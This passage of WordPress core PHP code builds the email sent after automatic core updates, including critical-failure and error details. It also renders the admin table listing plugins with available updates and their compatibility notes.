network_admin_url('update-core.php'); break; case 'critical': if ($newer_version_available) { $body .= sprintf(__('Your site at %1$s experienced a critical failure while trying to update WordPress to version %2$s.'), home_url(), $core_update->current); } else { $body .= sprintf(__('Your site at %1$s experienced a critical failure while trying to update to the latest version of WordPress, %2$s.'), home_url(), $core_update->current); } $body .= "\n\n" . __("This means your site may be offline or broken. Don't panic; this can be fixed."); $body .= "\n\n" . __("Please check out your site now. It's possible that everything is working. If it says you need to update, you should do so:"); $body .= "\n" . network_admin_url('update-core.php'); break; } $critical_support = 'critical' === $type && !empty($core_update->support_email); if ($critical_support) { // Support offer if available. $body .= "\n\n" . sprintf(__("The WordPress team is willing to help you. Forward this email to %s and the team will work with you to make sure your site is working."), $core_update->support_email); } else { // Add a note about the support forums. $body .= "\n\n" . __('If you experience any issues or need support, the volunteers in the WordPress.org support forums may be able to help.'); $body .= "\n" . __('https://wordpress.org/support/'); } // Updates are important! if ($type != 'success' || $newer_version_available) { $body .= "\n\n" . __('Keeping your site updated is important for security. It also makes the internet a safer place for you and your readers.'); } if ($critical_support) { $body .= " " . __("If you reach out to us, we'll also ensure you'll never have this problem again."); } // If things are successful and we're now on the latest, mention plugins and themes if any are out of date. if ($type == 'success' && !$newer_version_available && (get_plugin_updates() || get_theme_updates())) { $body .= "\n\n" . __('You also have some plugins or themes with updates available. Update them now:'); $body .= "\n" . network_admin_url(); } $body .= "\n\n" . __('The WordPress Team') . "\n"; if ('critical' == $type && is_wp_error($result)) { $body .= "\n***\n\n"; $body .= sprintf(__('Your site was running version %s.'), $GLOBALS['wp_version']); $body .= ' ' . __('We have some data that describes the error your site encountered.'); $body .= ' ' . __('Your hosting company, support forum volunteers, or a friendly developer may be able to use this information to help you:'); // If we had a rollback and we're still critical, then the rollback failed too. // Loop through all errors (the main WP_Error, the update result, the rollback result) for code, data, etc. if ('rollback_was_required' == $result->get_error_code()) { $errors = array($result, $result->get_error_data()->update, $result->get_error_data()->rollback); } else { $errors = array($result); } foreach ($errors as $error) { if (!is_wp_error($error)) { continue; } $error_code = $error->get_error_code(); $body .= "\n\n" . sprintf(__("Error code: %s"), $error_code); if ('rollback_was_required' == $error_code) { continue; } if ($error->get_error_message()) { $body .= "\n" . $error->get_error_message(); } $error_data = $error->get_error_data(); if ($error_data) { $body .= "\n" . implode(', ', (array) $error_data); } } $body .= "\n"; } $to = get_site_option('admin_email'); $headers = ''; $email = compact('to', 'subject', 'body', 'headers'); /** * Filter the email sent following an automatic background core update. * * @since 3.7.0 * * @param array $email { * Array of email arguments that will be passed to wp_mail(). * * @type string $to The email recipient. An array of emails * can be returned, as handled by wp_mail(). * @type string $subject The email's subject. * @type string $body The email message body. * @type string $headers Any email headers, defaults to no headers. * } * @param string $type The type of email being sent. Can be one of * 'success', 'fail', 'manual', 'critical'. * @param object $core_update The update offer that was attempted. * @param mixed $result The result for the core update. Can be WP_Error. */ $email = apply_filters('auto_core_update_email', $email, $type, $core_update, $result); wp_mail($email['to'], wp_specialchars_decode($email['subject']), $email['body'], $email['headers']); }
/** * * @global string $wp_version */ function list_plugin_updates() { global $wp_version; $cur_wp_version = preg_replace('/-.*$/', '', $wp_version); require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $plugins = get_plugin_updates(); if (empty($plugins)) { echo '<h2>' . __('Plugins') . '</h2>'; echo '<p>' . __('Your plugins are all up to date.') . '</p>'; return; } $form_action = 'update-core.php?action=do-plugin-upgrade'; $core_updates = get_core_updates(); if (!isset($core_updates[0]->response) || 'latest' == $core_updates[0]->response || 'development' == $core_updates[0]->response || version_compare($core_updates[0]->current, $cur_wp_version, '=')) { $core_update_version = false; } else { $core_update_version = $core_updates[0]->current; } ?> <h2><?php _e('Plugins'); ?> </h2> <p><?php _e('The following plugins have new versions available. Check the ones you want to update and then click “Update Plugins”.'); ?> </p> <form method="post" action="<?php echo esc_url($form_action); ?> " name="upgrade-plugins" class="upgrade"> <?php wp_nonce_field('upgrade-core'); ?> <p><input id="upgrade-plugins" class="button" type="submit" value="<?php esc_attr_e('Update Plugins'); ?> " name="upgrade" /></p> <table class="widefat updates-table" id="update-plugins-table"> <thead> <tr> <td class="manage-column check-column"><input type="checkbox" id="plugins-select-all" /></td> <td class="manage-column"><label for="plugins-select-all"><?php _e('Select All'); ?> </label></td> </tr> </thead> <tbody class="plugins"> <?php foreach ((array) $plugins as $plugin_file => $plugin_data) { // Get plugin compat for running version of WordPress. if (isset($plugin_data->update->tested) && version_compare($plugin_data->update->tested, $cur_wp_version, '>=')) { $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $cur_wp_version); } elseif (isset($plugin_data->update->compatibility->{$cur_wp_version})) { $compat = $plugin_data->update->compatibility->{$cur_wp_version}; $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $cur_wp_version, $compat->percent, $compat->votes, $compat->total_votes); } else { $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $cur_wp_version); } // Get plugin compat for updated version of WordPress. if ($core_update_version) { if (isset($plugin_data->update->tested) && version_compare($plugin_data->update->tested, $core_update_version, '>=')) { $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $core_update_version); } elseif (isset($plugin_data->update->compatibility->{$core_update_version})) { $update_compat = $plugin_data->update->compatibility->{$core_update_version}; $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $core_update_version, $update_compat->percent, $update_compat->votes, $update_compat->total_votes); } else { $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $core_update_version); } } // Get the upgrade notice for the new plugin version. if (isset($plugin_data->update->upgrade_notice)) { $upgrade_notice = '<br />' . strip_tags($plugin_data->update->upgrade_notice); } else { $upgrade_notice = ''; } $details_url = self_admin_url('plugin-install.php?tab=plugin-information&plugin=' . $plugin_data->update->slug . '§ion=changelog&TB_iframe=true&width=640&height=662'); $details_name = sprintf('<span class="screen-reader-text">%1$s</span>', esc_attr($plugin_data->Name)); /* translators: 1: Plugin name 2: Plugin version */ $details_text = sprintf(__('View %1$s version %2$s details.'), $details_name, $plugin_data->update->new_version); $details = sprintf('<a href="%1$s" class="thickbox open-plugin-details-modal">%2$s</a>', esc_url($details_url), $details_text); $checkbox_id = "checkbox_" . md5($plugin_data->Name); ?> <tr> <td class="check-column"> <input type="checkbox" name="checked[]" id="<?php echo $checkbox_id; ?> " value="<?php echo esc_attr($plugin_file); ?> " /> <label for="<?php echo $checkbox_id; ?> " class="screen-reader-text"><?php /* translators: %s: plugin name */ printf(__('Select %s'), $plugin_data->Name); ?> </label> </td> <td class="plugin-title"><p> <strong><?php echo $plugin_data->Name; ?> </strong> <?php /* translators: 1: plugin version, 2: new version */ printf(__('You have version %1$s installed. Update to %2$s.'), $plugin_data->Version, $plugin_data->update->new_version); echo ' ' . $details . $compat . $upgrade_notice; ?> </p></td> </tr> <?php } ?> </tbody> <tfoot> <tr> <td class="manage-column check-column"><input type="checkbox" id="plugins-select-all-2" /></td> <td class="manage-column"><label for="plugins-select-all-2"><?php _e('Select All'); ?> </label></td> </tr> </tfoot> </table> <p><input id="upgrade-plugins-2" class="button" type="submit" value="<?php esc_attr_e('Update Plugins'); ?> " name="upgrade" /></p> </form> <?php }